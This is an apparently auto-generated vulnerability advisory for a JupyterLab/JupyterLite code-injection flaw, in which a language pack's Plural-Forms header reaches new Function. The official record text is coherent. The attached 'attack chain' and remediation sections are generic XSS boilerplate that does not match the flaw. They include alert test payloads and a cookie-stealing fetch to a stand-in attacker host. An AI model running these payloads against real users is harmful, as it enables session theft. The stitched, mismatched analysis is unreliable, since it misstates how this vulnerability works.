CVE-2026-102830 — CWE-79 · CWE-94
CVE-2026-102830 is a MEDIUM severity Cross-Site Scripting (XSS) vulnerability (CWE-79, CWE-94) (CVSS 6.8/10) affecting affected software system. Technical vector analysis shows that an attacker can exploit this flaw remotely over the network without authentication (PR:N) requiring user interaction, resulting in complete compromise of system confidentiality and integrity (C:H/I:H).
📄 Official NVD / MITRE Original Record Text
JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From JupyterLab 3.0.0 until 4.5.11 and 4.6.4, and in JupyterLite Core 0.8.3 and earlier, the Plural-Forms header in a selected third-party language pack can append JavaScript after a valid plural rule because prefix-only regular-expression validation accepts a matching prefix without requiring the entire header to match. JupyterLab passes the accepted expression to new Function, so loading the catalogue and translating a plural string executes the appended code in the authenticated JupyterLab origin. Where Jupyter Server kernels, terminals, and APIs are exposed, the code can use authenticated server APIs to read or modify files and run code. Impact is much more limited in JupyterLite because it typically lacks most exposed Jupyter Server surfaces. The default English locale is unaffected because it does not load a translation catalogue. This issue is fixed in JupyterLab 4.5.11 and 4.6.4 and JupyterLite Core 0.8.4.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-102830
CVSS 6.8/10 · MEDIUM · 29.09.2026
CWE: CWE-79, CWE-94
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Cross-Site Scripting (XSS)
Summary: JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From JupyterLab 3.0.0 until 4.5.11 and 4.6.4, and in JupyterLite Core 0.8.3 and earlier, the Plural-Forms header in a selected third-party language pack can append JavaScript after a valid plural rule because prefix-only regular-expression validation accepts a matching…
⚡ ATTACK CHAIN
Attack steps:
1. Identify reflection points (search, comments, profile fields).
2. Test: <script>alert(document.domain)</script> or <img src=x onerror=alert(1)>
3. Session hijacking: fetch('https://attacker.com/?c='+document.cookie)
4. Stored XSS: inject persistent payload in user-controlled fields.
5. Browser exploitation via BeEF.
🔧 Tools: BeEF, XSStrike, Dalfox, Burp Suite
🗺️ MITRE ATT&CK: T1189 (Drive-by Compromise), T1185 (Browser Session Hijacking)
🌍 REAL WORLD IMPACT
All confidential data readable/stealable; data can be modified or deleted.
🛡️ REMEDIATION
→ Apply the vendor-released patch immediately.
→ Add CSP headers, HTML-encode all user input.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
📋 Routine update cycle (30 days)
────────────────────────────────────────
[Kural Tabanlı Otomatik Güvenlik Analizi]